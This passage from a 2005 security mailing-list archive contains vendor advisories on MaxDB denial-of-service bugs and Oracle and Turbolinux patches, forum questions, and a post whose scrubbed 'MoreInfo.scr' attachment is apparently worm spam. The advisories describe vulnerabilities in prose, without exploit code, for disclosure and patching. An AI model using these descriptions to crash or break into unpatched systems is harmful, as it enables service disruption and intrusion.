References: <Pine.GSO.4.43.0501181417550.15940-100000@tundra.winternet.com>
	<200501182121.j0ILLp8X006146@turing-police.cc.vt.edu>
Message-ID: <41EEF057.9070903@sbcglobal.net>


I think the thing in question was it was capable of telling if a person 
"recognized something".
Nothing about "lying" per se.  Many of these things they haven't been 
statisticly tested.
The thing that was discussed was supposedly a signal a person's brain 
puts out when they
recognize an item. The forensic idea would be you would show somebody 
"the murder weapon"
and if they produced the "recgonition signal" it wouldn't matter whether 
they said they did or not.,

As far as I can tell it has never been checked with any tests like the 
following. A person is given
a .38 Police Special to fire and he does. He is then after a week or so 
shown another different . .38 Police Specisl. Does he generate a 
recognition signal?  Does he generate a recognition signasl for that. 
thing?  Does a gun naive subject generate it for "a gun? or any gun? If 
the person and is shown a .45 does it still generate a recognition 
signal etc?

Defense attorneys will have a Perry Mason field day with this sort of 
thing if there are any
cracks in it.  If anyone has the references to this story I'd love to 
see them. It ran on BBC World
Service awhile ago.


Havae Fun,
Sends Steve




Valdis.Kletnieks at vt.edu wrote:

>On Tue, 18 Jan 2005 14:22:28 CST, Ron DuFresne said:
>
>  
>
>>of course, on a semi serious note, elctromagnectic imaging scans have
>>proven to be pretty effective in noting the difference in a lying brain
>>and a truthful one.  Now if they can just consolidate all that equipment
>>into a small handable wand kinda device...
>>    
>>
>
>What we *really* need is a portable cluon-flux detector, so that we can wave
>it past somebody and tell if they're a net emitter of cluons, or a cluon sink,
>or a null-cluon.
>
>Interestingly enough, it can be shown that cluon sinks are preferable to
>null-cluons - sinks will absorb cluons and accumulate them, eventually becoming
>cluon emitters once they reach a critical mass of cluons.  Null cluons react
>with cluons in about the same way as neutrinos react with normal matter - they
>very rarely hit-and-stick.
>
>OB-Full-Disclosure:  The effect on your organization's overall security stance
>when a null-cluon gets appointed into management.
>  
>
>------------------------------------------------------------------------
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>  
>




From idlabs-advisories at idefense.com  Wed Jan 19 20:56:19 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Wed, 19 Jan 2005 15:56:19 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.19.05: MySQL MaxDB
	Web Agent Multiple Denial of Service Vulnerabilities
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B325@idserv04.idef.com>

MySQL MaxDB Web Agent Multiple Denial of Service Vulnerabilities

iDEFENSE Security Advisory 01.19.05
www.idefense.com/application/poi/display?id=187&type=vulnerabilities
January 19, 2005

I. BACKGROUND

MaxDB by MySQL is a re-branded and enhanced version of SAP DB, SAP AG's
open source database. MaxDB is a heavy-duty, SAP-certified open source
database that offers high availability, scalability and a comprehensive
feature set. MaxDB complements the MySQL database server, targeted for
large mySAP ERP environments and other applications that require maximum
enterprise-level database functionality. Further details are available
at:

   http://www.mysql.com/products/maxdb/

II. DESCRIPTION

Two remotely exploitable denial of service conditions have been found to
exist in MySQL MaxDB and SAP DB Web Agent products.

The first vulnerability specifically exists due to a null pointer
dereference in the sapdbwa_GetUserData() function. A remote attacker can
request the webdav handler code with invalid parameters to cause a null
pointer dereference resulting in a crash of SAP DB Web Agent.

The second vulnerability is due to insufficient handling of malformed
HTTP headers. A remote attacker can submit a HTTP request with invalid
headers to cause a denial of service.

III. ANALYSIS

A remote attacker can send simple HTTP requests to cause MaxDB Web Agent
to crash.

IV. DETECTION

iDEFENSE has confirmed the existence of these vulnerabilities in MySQL 
MaxDB 7.5.0.0 on Linux and Windows platforms. It is believed that all
versions prior to 7.5.0.21 are affected. 

V. WORKAROUND

Employ firewalls, access control lists or other TCP/UDP restriction
mechanisms to limit access to administrative systems and services.

VI. VENDOR RESPONSE

The vulnerability has been addressed in MaxDB 7.5.00.21.

Updated binaries (version 7.5.00.23) are available from:

    http://dev.mysql.com/downloads/maxdb/7.5.00.html

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
following names to these issues:

CAN-2005-0081
MySQL MaxDB Web Agent Null HTTP Header Denial of Service Vulnerability

CAN-2005-0082
MySQL MaxDB Web Agent GetUserData Denial of Service Vulnerability

VIII. DISCLOSURE TIMELINE

08/20/2004   Initial vendor notification
08/24/2004   Initial vendor response
01/19/2005   Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

VII. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.





From als at thangorodrim.de  Thu Jan 20 01:43:59 2005
From: als at thangorodrim.de (Als)
Date: Wed, 19 Jan 2005 22:43:59 -0300
Subject: [Full-Disclosure] Re: Thank you!
Message-ID: <shtyorxfjbvqgxcqyko@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/0b777104/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: MoreInfo.scr
Type: application/octet-stream
Size: 20364 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/0b777104/attachment.obj 

From alerts at integrigy.com  Thu Jan 20 04:09:58 2005
From: alerts at integrigy.com (Integrigy Security)
Date: Wed, 19 Jan 2005 22:09:58 -0600
Subject: [Full-Disclosure] Integrigy Security Advisory - High Risk Security
	Issues in the Oracle Database and Oracle Applications
Message-ID: <20050120041037.CAAF9415D@mail.integrigy.com>

Integrigy Security Advisory
______________________________________________________________________
 
High Risk Security Issues in the Oracle Database and Oracle Applications
Oracle Critical Patch Update - January 2005
January 19, 2005
______________________________________________________________________
 
Summary:
 
Oracle has released the its first Critical Patch Update (January 2005) and
fixes 23 vulnerabilities in the Oracle Database, Oracle Application Server,
and Oracle E-Business Suite - Integrigy discovered 5 of these
vulnerabilities.  The vulnerabilities in the Oracle Database and Oracle
E-Business Suite should be considered high risk and organizations should
work to apply the necessary patches at the earliest possible opportunity.

Integrigy Discovered Vulnerabilities:
 
Product:    Oracle E-Business Suite
Versions:   11.0.x, 11.5.1 - 11.5.9
Platforms:  All platforms
Risk Level: High
Number:	2

Product:    Oracle Database
Versions:   8.1.7.x, 9.0.1.x, 9.2.0.x, and 10.1.0.x
Platforms:  All platforms
Risk Level: High
Number:	1

Product:    Oracle Application Server
Versions:   1.0.2.2.x
Platforms:  All platforms
Risk Level: Medium
Number:	2
_____________________________________________________________________
 
Description:
 
Oracle Corporation released the first Critical Patch Update (CPU) on January
18, 2005.  The CPU is a collection of security related patches for the
Oracle Database, Oracle Application Server, Oracle Collaboration Suite, and
Oracle E-Business Suite.  There are 23 vulnerabilities addressed in the CPU
ranging from buffer overflows to SQL injection to denial of service (DoS)
issues.  Most of the vulnerabilities are high risk and should be addressed
quickly by organizations.

Oracle Database Vulnerabilities:

Multiple vulnerabilities exist in the Oracle Spatial package MDSYS.MD2 that
can be exploited by an attacker to gain escalated privileges on the server.

Oracle Application Server Vulnerabilities:

A denial of service vulnerability exists in the Oracle Forms Server.  

The Oracle Reports Server administrative functions can be exploited to
obtain the database password used by the server.  Integrigy released a
security alert in November 2002
(www.integrigy.com/alerts/ReportsServer_APPS_Disclosure.htm) to notify
Oracle Applications clients of the issue and to provide a work-around.  The
Oracle patch removes the password from being displayed.  However, Integrigy
still recommends clients install the work-around in order to block access to
all the administrative functions.

Oracle E-Business Suite Vulnerabilities:

Two SQL injection vulnerabilities exist in the Oracle E-Business Suite.  
 
Solution:
 
All Oracle customers should consider these vulnerabilities high risk and
apply the Oracle patches at the earliest possible opportunity.  Customers
with Internet facing application servers should consider applying these
patches as soon as possible.  See Oracle Metalink Note 293953.1 for patch
information and instructions.
 
In order to assist our clients, Integrigy has developed a detailed analysis
of the security release and its impact on Oracle Applications.  The analysis
provides additional information on the vulnerabilities and patches released
in the Critical Patch Update as it relates to the Oracle E-Business Suite
(Oracle Applications 11i).  The objective of the analysis is to assist IT
managers and Applications DBAs in assessing the impact on their Oracle
Applications 11i implementations and the risks associated with the
vulnerabilities, especially since the CPU addresses a large number of
vulnerabilities and impacts all layers of the Oracle Applications technology
stack.  The analysis can be downloaded from Integrigy's website at
www.integrigy.com/info/SecurityAnalysis-CPU0105.pdf.
______________________________________________________________________
 
For more information or questions regarding this security alert, please
contact us at alerts at integrigy.com.
 
Integrigy has included checks for many of these vulnerabilities in
AppSentry, a vulnerability scanner for Oracle Applications, and AppDefend,
an application intrusion prevention system for Oracle Applications.
 
Credit:
 
The vulnerabilities referenced in this advisory were discovered by Stephen
Kost of Integrigy Corporation.
______________________________________________________________________
 
About Integrigy Corporation (www.integrigy.com)
 
Integrigy Corporation is a leader in application security for large
enterprise, mission critical applications. Our application vulnerability
assessment tool, AppSentry, assists companies in securing their largest and
most important applications. AppDefend is an intrusion prevention system for
Oracle Applications and blocks common types of attacks against application
servers. Integrigy Consulting offers security assessment services for
leading ERP and CRM applications.
 
For more information, visit www.integrigy.com.



From ledeve at gmx.net  Thu Jan 20 09:27:59 2005
From: ledeve at gmx.net (Lentila de Vultur)
Date: Thu, 20 Jan 2005 10:27:59 +0100 (MET)
Subject: [Full-Disclosure] harddisk encryption
Message-ID: <31972.1106213279@www38.gmx.net>


hi,

i'm evaluating a software that performs harddisk encryption for deploying in
my company. the software in question is utimaco safeguard easy v4.10
(www.utimaco.com) running on w2k.

i am interested in communitty's oppinion about this product. has anyone
performed a detailed analysis of it? i googled around but i couldn't find
much information, except that the version 3.20 sr1 has earned an eal3
certification from the german federal agency for it security.

tia

-- 
this e-mail is certified content-free.

Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl


From seasonedpaper at djc.people.inodetech.com  Thu Jan 20 04:47:51 2005
From: seasonedpaper at djc.people.inodetech.com (seasonedpaper at djc.people.inodetech.com)
Date: Wed, 19 Jan 2005 20:47:51 -0800 (PST)
Subject: [Full-Disclosure] ASH Hashing Algorithm
Message-ID: <48499.209.204.180.178.1106196471.squirrel@gobbleturkey.simpli.biz>

With the current class of cryptographic algorithms growing weaker we face
an increasingly large problem.  I went ahead took two SHA-2 algorithms and
created ASH-1 and ASH-2.  The modifications are algorithm neutral and
fairly simple, but add security and flexibility to the SHA family.

The hashing algorithm is detailed in this paper:
http://xxx.lanl.gov.nyud.net:8090/abs/cs.CR/0501038

Comments, criticism, and help all appreciated.

Thanks,
D.J. Capelis
Network Security and Cryptography Researcher


From security-announce at turbolinux.co.jp  Thu Jan 20 06:35:51 2005
From: security-announce at turbolinux.co.jp (Turbolinux)
Date: Thu, 20 Jan 2005 15:35:51 +0900
Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 20/Jan/2005
Message-ID: <200501201536.01355.security-announce@turbolinux.co.jp>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is an announcement only email list for the x86 architecture.
============================================================
Turbolinux Security Announcement 20/Jan/2005
============================================================

The following page contains the security information of Turbolinux Inc.

 - Turbolinux Security Center
   http://www.turbolinux.com/security/

 (1) xpdf -> Buffer overflow
 (2) libtiff -> Multiple vulnerabilities in libtiff
 (3) XFree86 -> Multiple vulnerabilities in libXpm
 (4) imlib -> Two vulnerabilities discovered in imlib

===========================================================
* xpdf -> Buffer overflow
===========================================================

 More information:
    Xpdf is an X Window System based viewer for Portable Document Format
    (PDF) files.  The buffer overflow was found in the Gfx::doImage function
    in Gfx.cc in xpdf version 3.00.

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed PDF files.

 Affected Products:
    - Turbolinux 10 Server

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 # turbopkg
 or
 # zabom -u xpdf
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/xpdf-3.00-5.src.rpm
      4604490 d33abd903ee32d277260d1c230dcfe70

 References:

 CVE
   [CAN-2004-1125]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125


===========================================================
* libtiff -> Multiple vulnerabilities in libtiff
===========================================================

 More information:
    The libtiff package contains a library of functions for manipulating TIFF
    (Tagged Image File Format) image format files.

    Multiple issues exist in libtiff:
    - Multiple vulnerabilities in libtiff's RLE (run length encoding) decoders
    - Vulnerability in tif_dirread.c
    - Multiple integer overflows
    - Integer overflow in tif_dirread.c and tif_fax3.c

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed TIFF image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u libtiff

 [other]
 # turbopkg
 or
 # zabom update libtiff
 ---------------------------------------------


 <Turbolinux Appliance Server 1.0 Hosting Edition>

   Source Packages
   Size: MD5

   libtiff-3.5.7-7.src.rpm
       972878 ed8bd0ef2bf2a1931610e91713a8d7c4

   Binary Packages
   Size: MD5

   libtiff-3.5.7-7.i586.rpm
       316109 2653e065f0c5fbc95c850a1dbf8ce385

 <Turbolinux Appliance Server 1.0 Workgroup Edition>

   Source Packages
   Size: MD5

   libtiff-3.5.7-7.src.rpm
       972878 0fd2512f0caa91f27d80619bdd246d51

   Binary Packages
   Size: MD5

   libtiff-3.5.7-7.i586.rpm
       316422 00d6b827b50c02990eec3768ae92d4c9

 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/libtiff-3.6.1-4.src.rpm
      1093717 362993a9fe4c86ebe19b244210a2b6cf

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-3.6.1-4.i586.rpm
       232659 0f1d0d2fb52c72d38cd9a4964d50ba25
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-debug-3.6.1-4.i586.rpm
       256539 3dfa5531c4c29444b7ee939f97ad8f35
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-devel-3.6.1-4.i586.rpm
       509454 8c312bee14f08dca7f2dde75766ab191


 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/libtiff-3.5.7-7.src.rpm
       972878 ad86cfa9f29064a6457eae596dbe0020

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-3.5.7-7.i586.rpm
       222710 7e3dc3844942811aee6aea8c405e3628
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm
       469753 4918c1f7b75335f9bfe3d96d322a0961

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/libtiff-3.5.7-7.src.rpm
       972878 ecea2012e0d8eaea72d27141e3b112bf

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-3.5.7-7.i586.rpm
       316627 cad5ce73c1d9e515f390461cf4a72126
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm
       595504 13bcf43c5208b27d485eb6e096cca14b

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 d507119975f6299adf197181f4eda89a

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       738427 a3bc600c346754b83b8e5932908955e7
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       632579 6ab0c04ac7ef41df03073e56d622da8f

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 9fd2675fa8d5146faf3bffab02ae08ab

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       702575 958636e2ddf39b68b77f346671c7d10c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       621763 05e2d24f8f16e3f10c690b03929db76f

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 b0b307c92d092a8dec1f5bb58ba81802

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       702616 616c97ff0678e34a646f2d18b2f0b0d9
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       622017 4c1e95f277cc72f9dadc76e10da85eb8


 References:

 CVE
   [CAN-2004-0803]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803
   [CAN-2004-0804]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804
   [CAN-2004-0886]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886
   [CAN-2004-1183]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
   [CAN-2004-1308]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308


===========================================================
* XFree86 -> Multiple vulnerabilities in libXpm
===========================================================

 More information:
    XFree86 is an implementation of the X Window System, providing a core
    graphical user interface and video drivers.

    Multiple vulnerabilities have been discovered in the handling of libXpm
    for XFree86.

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed XPM image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-Xvfb XFree86-contrib XFree86-cyrillic-fonts \
            XFree86-debug XFree86-devel XFree86-fonts XFree86-libs XFree86-twm XFree86-xcursor XFree86-xcursor-devel \
            XFree86-xf86config XFree86-xfs XFree86-xft XFree86-xft-devel
 [other]
 # turbopkg
 or
 # zabom update XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-contrib \
                XFree86-cyrillic-fonts XFree86-devel XFree86-libs XFree86-xfs
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm
     56924470 eb845b3be235bb21aa0278a180623083

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm
     12437623 ee386b128dc366a57b040bc805438605
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm
     17914136 7a51c84fdfeb84728ee8e34aa3b90bc3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm
     10767930 1b4168835146c84115251d0fd8464ba3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm
      1767856 5df330993a65405eb845be1f1b6b12cd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm
       466061 52cc4b83c716d6e79b9061868450f88f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm
       411823 5e81e96d9381c62f207442df6da45423
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-debug-4.3.0-77.i586.rpm
      1377048 aceb6c284ec571f145c482eedfbaef78
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm
      5019869 cdc364bf982fad2ef0e6de217f3abd3d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm
      8769483 0da5b1474b099bb2bf3d01edda792603
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm
      2647941 0f28d2cffc3e1e84126d46262725f9e6
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm
       117532 63709419ef668e12eae1520c55a767aa
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm
        50393 025e2a0e8ed4569c0b3ba36621eb426b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm
        47685 633730af58c2ec7aea3fb1579aeef630
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm
       317697 9df69cf1936d3ed833ca5acae1c403d7
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm
        83290 c432d53f1cf1328521457d754022c6f4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm
        79480 80aabaa94ec8fc20f54acc2193d017b4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm
        65413 99eba2b51bb1a97a70fd5b168a41aa30

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm
     56924470 eb845b3be235bb21aa0278a180623083

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm
     12437426 b9111393e5ebdb113c6289988e18d5f3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm
     17895556 defec85ce43edc9fc38da3178a5a81c5
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm
     10768171 0cc075e2c541b18e0b03c246aa733778
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm
      1770857 7303649f87334a166053f79daa58ea7e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm
       468946 f8b101e81546e121bff3b66580e0abca
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm
       411831 bde2193dbe541209df9db215e0e7af46
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm
      5044863 800299b8040b044bcc98ea4a584958f9
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm
      8769933 adf97005250306846b5043ab4d20b91e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm
      2650733 29503d891efdd23d4338453c8586f613
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm
       117791 63d4137b167576f8d1d9160aa68e270e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm
        50522 317efcf80d9c80d4ee07e63c744f9508
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm
        43701 a0fc3b3c692b2df34cd0f1f01062e7d4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm
       319370 f382c487a8bec7dfc474d0ba0d8b42d3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm
        83644 db73fa54d5c7bd5505014ccf09b6cf1f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm
        79556 bc989ac39f0aee3e90c78fa098e2057e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm
        65526 cc883a49cc3094ec848e625619a533b2

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm
     59402584 d2d88c18b1130b86927152ff03ece881

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm
     12400410 34d10be76f54acc21491a00899a71702
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm
     22743452 2d46d8869809b4cf4057073aa1424691
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm
     10731375 ba1de2759dcc7147e2db62b03e6c88ec
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm
       308144 45b5035ce028061f85307e523e744ca4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm
       397538 716c536d56b62bfd0d01d36da3e6e84b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm
      4614429 9c36dca86bf64abb155fa69bfcf862a6
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm
      2130130 71c9879567f941b333ef9357f0923b2e
